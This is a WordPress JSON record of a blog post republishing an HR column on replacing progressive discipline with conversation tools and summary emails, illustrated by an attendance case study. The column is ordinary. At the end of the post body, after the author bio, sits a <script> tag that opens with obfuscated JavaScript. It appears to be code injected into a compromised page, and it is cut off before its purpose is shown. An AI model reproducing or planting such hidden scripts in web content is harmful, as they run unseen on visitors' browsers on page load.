{"id":92569,"date":"2022-12-19T11:29:45","date_gmt":"2022-12-19T11:29:45","guid":{"rendered":"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/employee-relations\/humanity-into-hr\/pages\/3-tools-to-replace-conventional-employee-discipline.aspx"},"modified":"2022-12-19T11:29:45","modified_gmt":"2022-12-19T11:29:45","slug":"3-tools-to-replace-conventional-employee-discipline","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2022\/12\/19\/3-tools-to-replace-conventional-employee-discipline\/","title":{"rendered":"3 Tools to Replace Conventional Employee Discipline"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.shrm.org\/image\/upload\/c_crop%2ch_735%2cw_1308%2cx_0%2cy_26\/c_fit%2cf_auto%2cq_auto%2cw_767\/v1\/Employee%20Relations\/iStock-1371834229_vhzhht?databtoa=eyIxNng5Ijp7IngiOjAsInkiOjI2LCJ4MiI6MTMwOCwieTIiOjc2MSwidyI6MTMwOCwiaCI6NzM1fX0%3d\"><\/p>\n<div><img decoding=\"async\" src=\"https:\/\/shrm-res.cloudinary.com\/image\/upload\/c_crop,h_735,w_1308,x_0,y_26\/w_auto:100,w_1200,q_35,f_auto\/v1\/Employee%20Relations\/iStock-1371834229_vhzhht.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p><span class=\"shrm-Style-NoDropCap\">?<\/span><em><span class=\"shrm-Style-NoDropCap\">F<\/span>ormer employment attorney and author Jathan Janove writes for <\/em>SHRM Online<em>&nbsp;on how to inject greater humanity into HR compliance. Jathan welcomes your questions and suggestions for future columns. Contact him at the e-mail address at the end of this column.&nbsp;<\/em>&nbsp;<\/p>\n<p><span class=\"shrm-Style-ForceDropCap\">I<\/span>&#8216;ve written in the past about the <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/employee-relations\/humanity-into-hr\/pages\/how-to-maximize-the-same-day-summary.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Same Day Summary<\/a> (a brief written summary of key takeaways from a recent meeting or discussion); the <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/employee-relations\/humanity-into-hr\/pages\/the-no-fear-confrontation-.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">No-FEAR Confrontation<\/a> (first <strong><em>Frame<\/em><\/strong> the topic of conversation, then go into active listening mode to <strong><em>Explore<\/em><\/strong> the other person&#8217;s view; get them to <strong><em>Acknowledge<\/em><\/strong> that you understand him, and then <strong><em>Respond<\/em><\/strong> with your point of view); and the <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/employee-relations\/humanity-into-hr\/pages\/last-chance-agreement-final-written-warning-crossroads-conversation.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Crossroads Conversation<\/a> (explain to an employee that there are only two paths: The employee makes the sustained, necessary change, or leaves the company). &nbsp;<\/p>\n<p>In this column, I will explain how to use these tools to handle employee problems in a far more effective and humane way than conventional &#8220;progressive&#8221; discipline. No more first warning, second warning, final warning nonsense.&nbsp;<\/p>\n<p class=\"shrm-Element-Subtitle\">Case Study: An Attendance Problem&nbsp;<\/p>\n<p>&#8220;Bill&#8221; is a new hire. His shift begins at 8 a.m. On his second day at work, he arrives at 8:10 a.m. As his supervisor, you do a No-FEAR Confrontation. (<em>Frame<\/em>) &#8220;Bill, it&#8217;s 8:10. Your shift begins at 8.&#8221; (<em>Launch the EAR<\/em>) &#8220;What happened?&#8221;&nbsp;<\/p>\n<p>Bill responds with an excuse and an assurance that &#8220;it won&#8217;t happen again.&#8221;&nbsp;<\/p>\n<p>A week later, he arrives at 8:15 a.m. You have your second No-FEAR confrontation. (<em>Frame<\/em>) &#8220;Bill, it&#8217;s 8:15. This is the second time you&#8217;ve been late in less than two weeks. And last time you assured me the problem wouldn&#8217;t continue.&#8221; (<em>Launch the EAR<\/em>) &#8220;What&#8217;s going on?&#8221;&nbsp;<\/p>\n<p>Bill provides another excuse but adds a strong assurance that he&#8217;s got the matter under control, and you can be confident in him going forward. You decide it&#8217;s time for a Same Day Summary. &#8220;Thanks Bill, that&#8217;s fine. I&#8217;m going to send you a short note confirming where things are. Let me know if I misstate anything.&#8221;<\/p>\n<p>To: Bill<\/p>\n<p>From: You<\/p>\n<p>Today&#8217;s Date<\/p>\n<p>Subject: Our discussion this morning about your attendance<\/p>\n<p>Bill, <\/p>\n<p>This is a summary of our conversation. Please let me know if I missed anything. <\/p>\n<ul>\n<li>I pointed out that you arrived today at 8:15 a.m.; that your shift begins at 8 a.m.; and that last Tuesday you arrived at 8:10 a.m., which we discussed at that time. <\/li>\n<li>I emphasized that it&#8217;s necessary you arrive here regularly at 8 a.m.<\/li>\n<li>You gave me your assurance you will do what&#8217;s necessary so that I can rely on you being here at your scheduled time. <\/li>\n<\/ul>\n<p>Best,<\/p>\n<p>You<\/p>\n<p>For a couple of weeks, Bill does fine. But then he shows up one day at 8:20 a.m. At this point, you&#8217;re ready to combine a No-FEAR Confrontation with a Crossroads Conversation.&nbsp;<\/p>\n<p>(<em>Frame &amp; Crossroads<\/em>) &#8220;Bill, it&#8217;s 8:20 a.m. There&#8217;s now a serious question in my mind whether you can continue working here. I must have someone in your position at 8 a.m. every workday. If that&#8217;s not something you&#8217;re willing or able to do, I need to replace you and we should discuss your departure from the company.&#8221; (<em>Launch the EAR<\/em>) &#8220;What are your thoughts?&#8221;&nbsp;<\/p>\n<p>Assuming Bill asks for one more opportunity, and you agree, you tee up the Same Day Summary: &#8220;OK, I&#8217;ll send you a summary of this conversation.&#8221;<\/p>\n<p>To: Bill<\/p>\n<p>From: You<\/p>\n<p>Today&#8217;s Date<\/p>\n<p>Subject: Our discussion today about attendance<\/p>\n<p>Bill,<\/p>\n<p>Here&#8217;s a summary. Let me know if I missed or misstated anything.<\/p>\n<ul>\n<li>After you arrived today at 8:20 a.m., I pointed out that this has become an ongoing problem, with this being your third incident since you began working here less than a month ago.<\/li>\n<li>I said I cannot allow this problem to continue and that I was prepared to replace you with someone else.<\/li>\n<li>You asked for one last opportunity to show you could make the necessary changes and be here every workday at 8 a.m., and you acknowledged that your next late day would be the last day of your employment.<\/li>\n<li>I agreed to give you that last opportunity and expressed my hope that you&#8217;re able to make the necessary changes and continue to be employed here.<\/li>\n<\/ul>\n<p>Best,<\/p>\n<p>You<\/p>\n<p>Assuming Bill doesn&#8217;t make the necessary changes and comes in late again, you matter-of-factly say: &#8220;Bill, it&#8217;s 8:12 a.m. As we agreed, this means today&#8217;s your last day here. Let me get HR involved with your transition.&#8221;&nbsp;<\/p>\n<p>At this point, the last key step is making sure Bill&#8217;s departure is handled with dignity and respect. He&#8217;s not a bad employee or a bad person. It&#8217;s simply the fact that Bill isn&#8217;t compatible with the requirements of the job. As prominent national plaintiffs&#8217; employment law attorney David Sanford said, &#8220;My work would be cut in half if employers were kinder and smarter about how they let employees go.&#8221;&nbsp;<\/p>\n<p class=\"shrm-Element-Subtitle\">Goodbye Conventional Policies&nbsp;<\/p>\n<p>If you put these three tools to work, I guarantee you&#8217;ll never return to conventional disciplinary policy and practice. You&#8217;ll never again use the words &#8220;Verbal Counseling,&#8221; &#8220;Performance Improvement Plan (PIP),&#8221; &#8220;Corrective Action,&#8221; &#8220;Final Written Warning,&#8221; &#8220;Last Chance Agreement,&#8221; &#8220;up to and including termination of employment,&#8221; etc.&nbsp;<\/p>\n<p>If you&#8217;re a bit skeptical, that&#8217;s OK. Perhaps you&#8217;re thinking, &#8220;Jathan&#8217;s scenario is too simplistic.&#8221; Or, &#8220;How can we effectively administer this approach?&#8221; Or, &#8220;Jathan must not know how tough things are in California.&#8221;&nbsp;<\/p>\n<p>Whatever your doubts, concerns or challenges, fire away. In a subsequent column, I&#8217;ll address them.&nbsp;<\/p>\n<p>My bottom line: The HR profession took a wrong turn when it adopted conventional employee progressive discipline. It&#8217;s time to right this wrong.&nbsp;<\/p>\n<p><em>Jathan Janove is a former state bar &#8220;Employment Law Attorney of the Year,&#8221; author of <\/em><a href=\"https:\/\/www.amazon.com\/Hard-Won-Wisdom-Stories-Management-Trenches\/dp\/081443777X\/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1514917568&amp;sr=1-1&amp;keywords=hard+won+wisdom\" target=\"_blank\" rel=\"noopener noreferrer\">Hard-Won Wisdom: True Stories from the Management Trenches<\/a><em> (HarperCollins\/Amacom, 2017) and Master Coach &amp; Practice Leader with <\/em><a href=\"https:\/\/www.stakeholdercenteredcoaching.com\/\" target=\"_blank\" rel=\"noopener noreferrer\"><em>Marshall Goldsmith Stakeholder Centered Coaching<\/em>.<\/a> <em>If you have questions or suggestions for topics for future columns, write to&nbsp;<\/em><a href=\"mailto:JathanJanove@comcast.net\"><em>JathanJanove@comcast.net<\/em><\/a><em>.<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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writes for SHRM Online&nbsp;on how to inject greater humanity into HR compliance. Jathan welcomes your questions and suggestions for future columns. Contact him at the e-mail address at the end of this column.&nbsp;&nbsp; I&#8216;ve written in the past about the Same Day Summary (a brief written summary of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[37,21],"tags":[],"class_list":["post-92569","post","type-post","status-publish","format-standard","hentry","category-employee-relations","category-performance-management"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/92569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=92569"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/92569\/revisions"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=92569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=92569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=92569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}